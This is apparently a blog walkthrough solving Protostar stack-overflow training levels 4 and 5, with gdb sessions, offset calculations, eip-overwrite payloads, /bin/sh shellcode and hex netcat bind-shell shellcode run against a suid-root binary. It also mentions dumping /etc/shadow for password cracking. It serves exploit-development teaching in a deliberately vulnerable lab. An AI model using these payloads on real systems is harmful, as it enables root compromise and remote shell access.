Protostar Stack Exploits (Solutions 4-5)

Buffer overflow exploit exercises, part two.


Protostar is a series of exercises from Exploit Exercises. In addition to three final levels, it has four basic sections: network programming, format strings, heap overflows, and stack overflows.

This series of posts contains solutions and walkthroughs for the stack overflow levels (“Stack”). It assumes basic knowledge of systems programming and is meant to serve as a reference for those stuck on certain levels. This is the second of three posts for Stack.


## Stack: Level 4 Description (full): Overwrite the eip register to change execution flow.

First, we want to find the offset to the return address. We can explore using gdb and a breakpoint on main.

$ gdb ./stack4
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack4/stack4.c:15
15      stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) next
16      in stack4/stack4.c
(gdb) info frame
Stack level 0, frame at 0xbffff7d0:
eip = 0x804841d in main (stack4/stack4.c:16); saved eip 0xb7eacc76
source language c.
Arglist at 0xbffff7c8, args: argc=1, argv=0xbffff874
Locals at 0xbffff7c8, Previous frame's sp is 0xbffff7d0
Saved registers:
ebp at 0xbffff7c8, eip at 0xbffff7cc
(gdb) x/32xw $esp
0xbffff770:     0xbffff780      0xb7ec5165      0xbffff788      0xb7eaca75
0xbffff780:     0x41414141      0x08049500      0xbffff798      0x080482e8
0xbffff790:     0xb7ff1040      0x080495ec      0xbffff7c8      0x08048449
0xbffff7a0:     0xb7fd7304      0xb7fd6ff4      0x08048430      0xbffff7c8
0xbffff7b0:     0xb7ec5365      0xb7ff1040      0x0804843b      0xb7fd6ff4
0xbffff7c0:     0x08048430      0x00000000      0xbffff848      0xb7eacc76
0xbffff7d0:     0x00000001      0xbffff874      0xbffff87c      0xb7fe1848
0xbffff7e0:     0xbffff830      0xffffffff      0xb7ffeff4      0x0804824b
(gdb) p 0xbffff7cc - 0xbffff780
= 76
(gdb) info address win
Symbol "win" is a function at address 0x80483f4.
  • info frame: Shows the normal location of the saved instruction pointer, eip: 0xb7eacc76.
  • x/32xw $esp: Examines the current stack frame. The buffer starts at 0xbffff780 with 0x414141 (AAAA).
  • p 0xbffff7cc - 0xbffff780: Calculates &eip - &buffer, giving an offset to eip. Using the offset calculated above, eip is redirected to the address of win() function.
$ echo -e "$(perl -e "print 'A'x76")\xf4\x83\x04\x08" | ./stack4
code flow successfully changed
Segmentation fault

Stack: Level 5

Description (full): Use buffer overflow to execute shellcode on a suid root program, stack5.



# Prints argv[0] number of NOP instructions to stdout
print "\x90"x$ARGV[0]


// Prints the approximate address of an environmental variable
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    char *addr = getenv(argv[1]);
    if (addr == NULL) {
        printf("%s not found\n", argv[1]);
        return 1;
    else {
        printf("%s is at address %p\n", argv[1], getenv(argv[1]));

These utilities will be used in future solutions as well.



From a high level, this is our approach: 1. Store the shellcode in an environmental variable. 2. Find the approximate address of the environmental variable on the stack. 3. Overwriting the return address in stack5 with the address of the environmental variable, we execute the shellcode.

There are various ways to execute shellcode, but it’s more reliable to keep the shellcode in an environmental variable rather than the buffer in case it’s larger than the buffer (64 bytes).

Executing /bin/sh

The shellcode is a modified version of the code from Hacking: The Art of Exploitation. It runs the command /bin//sh -sli.


xor eax, eax
push eax
push 0x68732f2f   ; chars for /bin//sh
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp

push eax
push 0x736c692d   ; -sli flags
push eax
mov ecx, esp
mov al, 11
int 0x80

We’ll overwrite the return address with the address of our shellcode environmental variable.

$ export SC=$(echo -n $(~/nop 100)$(cat /home/user/shell))
$ ~/envaddr SC
SC is at address 0xbffffefa
$ echo -n $(perl -e 'print "\xfa\xfe\xff\xbf"x25') | /opt/protostar/bin/stack5

Nothing happened! Let’s take a look with GDB.

[user@protostar:~]$ echo -n $(perl -e 'print "\xfa\xfe\xff\xbf"x25') > /tmp/sc-shell
[user@protostar:~]$ gdb /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run < /tmp/sc-shell
Starting program: /opt/protostar/bin/stack5 < /tmp/sc-shell
Executing new program: /bin/dash

Program exited normally.

The shell opens, but it exits immediately. The shellcode is executing, but there’s another issue: as documented here and here, opening shells from stdin is problematic.

Opening a shell through netcat

We know that our shellcode does run, but it can’t open a shell. However, there are a wide a wide array of exploits available besides running /bin/sh. We could dump /etc/shadow/ and use John the Ripper to crack the passwords. Another option is to open up a remote shell through netcat. We’ll use the netcat solution.

Using netcat shellcode, we go through the same process (plaintext gist):

$ echo -ne "\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0f\x88\x46\x19\x89\x76\x1a\x8d\x5e\x08\x89\x5e\x1e\x8d\x5e\x10\x89\x5e\x22\x89\x46\x26\xb0\x0b\x89\xf3\x8d\x4e\x1a\x8d\x56\x26\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x23\x2d\x6c\x70\x38\x30\x38\x30\x23\x2d\x65\x2f\x62\x69\x6e\x2f\x73\x68\x23" > ~/sc-nc-8080
$ export SC=$(echo -ne $(~/nop 100)$(cat /home/user/sc-nc-8080))
$ ~/envaddr SC
SC is at address 0xbffffece
$ echo -n $(perl -e 'print "\xce\xfe\xff\xbf"x25') | /opt/protostar/bin/stack5

On another machine, complete the newly waiting connection:

$[louis@neutrino ~]$ nc 8080